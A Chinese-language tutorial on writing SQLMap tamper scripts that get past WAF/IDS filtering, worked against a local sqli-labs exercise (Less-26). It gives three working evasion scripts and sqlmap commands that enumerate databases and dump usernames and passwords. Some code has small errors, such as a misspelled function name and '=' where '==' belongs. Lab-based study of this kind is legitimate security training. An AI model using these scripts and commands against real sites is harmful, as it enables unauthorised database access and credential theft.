一、概念
1、SQLMap
实现SQL注入漏洞的检测与利用的自动化处理,其自带的Tamper脚本可以帮助绕过IDS/WAF的检测
2、Tamper脚本
绕过安全防护
3、IDS(入侵检测系统)
深入浅出讲解IDS(入侵检测系统)_ids是什么意思-CSDN博客
形象比喻:假如防火墙是一幢大楼的防盗门和安全锁,那么IDS(入侵检测系统)就是这幢大楼里的监视系统。一旦有小偷通过爬窗进入大楼,或者内部人员有越界行为,实时监视系统就会发现情况并发出警告
4、WAF(web应用防火墙)
是通过执行一系列针对HTTP,HTTPS的安全策略,来专门对web应用,提供保护的一款产品
二、SQL注入技术
1、基于布尔的盲注
能根据页面的返回内容判断真假
2、基于时间的盲注
不能根据页面的返回内容来判断信息,而是使用条件语句查看时间延迟语句是否执行(即页面的返回时间是否增加),以此来判断
3、基于报错的注入
根据页面返回的错误信息来判断,或者把注入语句的结果直接返回到页面中
4、堆查询注入
同时执行多条语句的执行时的注入
三、Tamper结构
难点是如何针对目标网站的防护找出对应的绕过方法
# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY.LOW
# 对当前脚本的介绍,可以为空
def dependencies():
pass
'''
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。
在官方提供的Tamper脚本中只被使用了2次,两次都只是更改了http-header
'''
def tamoper(payload,**kwargs):
# 增加相关的payload处理,再将payload返回
# 必须返回最后的payload
return payload
四、脚本编写
1、双写绕过脚本
double-and-or.py
# 双写绕过脚本
# 导入正则模块,用于字符的替换
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
# 脚本描述函数
def dependencies():
pass
def tamper(payload,**kwargs):
# 将payload进行转存
retVal = payload
if payload:
# 使用re.sub函数不区分大小写地替换and 和or
# 将and和or替换为anandd和oorr
retVal = re.sub(r"(?i)(or)",r"oorr",retVal)
retVal = re.sub(r"(?i)(and)", r"anandd", retVal)
#把最后修改好的payload返回
return retVal
2、空格替换脚本
space2A0.py
# 空格替换脚本 ---以官方Tamper脚本的space2plus.py为模板进行更改
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
# 脚本描述函数
def dependencies():
pass
def tamper(payload,**kwargs):
retVal = payload
if payload:
retVal = ""
quote,doublequote,firstspace = False,False,False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
# 把原先的 + 改为%a0即可
retVal += "%a0"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] = " " and not doublequote and not quote:
# 把原先的 + 改为 %a0即可
retVal += "%a0"
continue
retVal += payload[i]
return retVal
3、count(*)替换为count(1)
count.py
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload,**kwargs):
retVal = payload
if payload:
# 把count(*) 替换为count(1)
retVal = re.sub(r"(?i)count\(\*\)",r"count(1)",payload)
return retVal
五、脚本执行
1、找注入点
sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3" --tamper "double-and-or.py,space2A0.py" -v 3
2、遍历数据库
sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3" -v 3 --tamper "double-and-or.py,space2A0.py" -dbs
3、遍历security库里的数据表
sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3" -v 3 --tamper "double-and-or.py,space2A0.py" -D “security” --tables
4、遍历security库中users表的字段
sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3" -v 3 --tamper "double-and-or.py,space2A0.py" -D “security” -T “users” --columns
5、遍历数据
sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3" -v 3 --tamper "double-and-or.py,space2A0.py" -D “security” -T “users” -C “username,password” --dump
此时,没有数据,说明遍历数据库数据的payload还是有问题
payload中的count(*) 出现了关键词*,说明是被过滤了
再写一个脚本把count(*)进行替换,通过count(常数)来代替count(*)
继续遍历数据:
sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3" -v 3 --tamper "double-and-or.py,space2A0.py,count.py" -D “security” -T “users” -C “username,password” --dump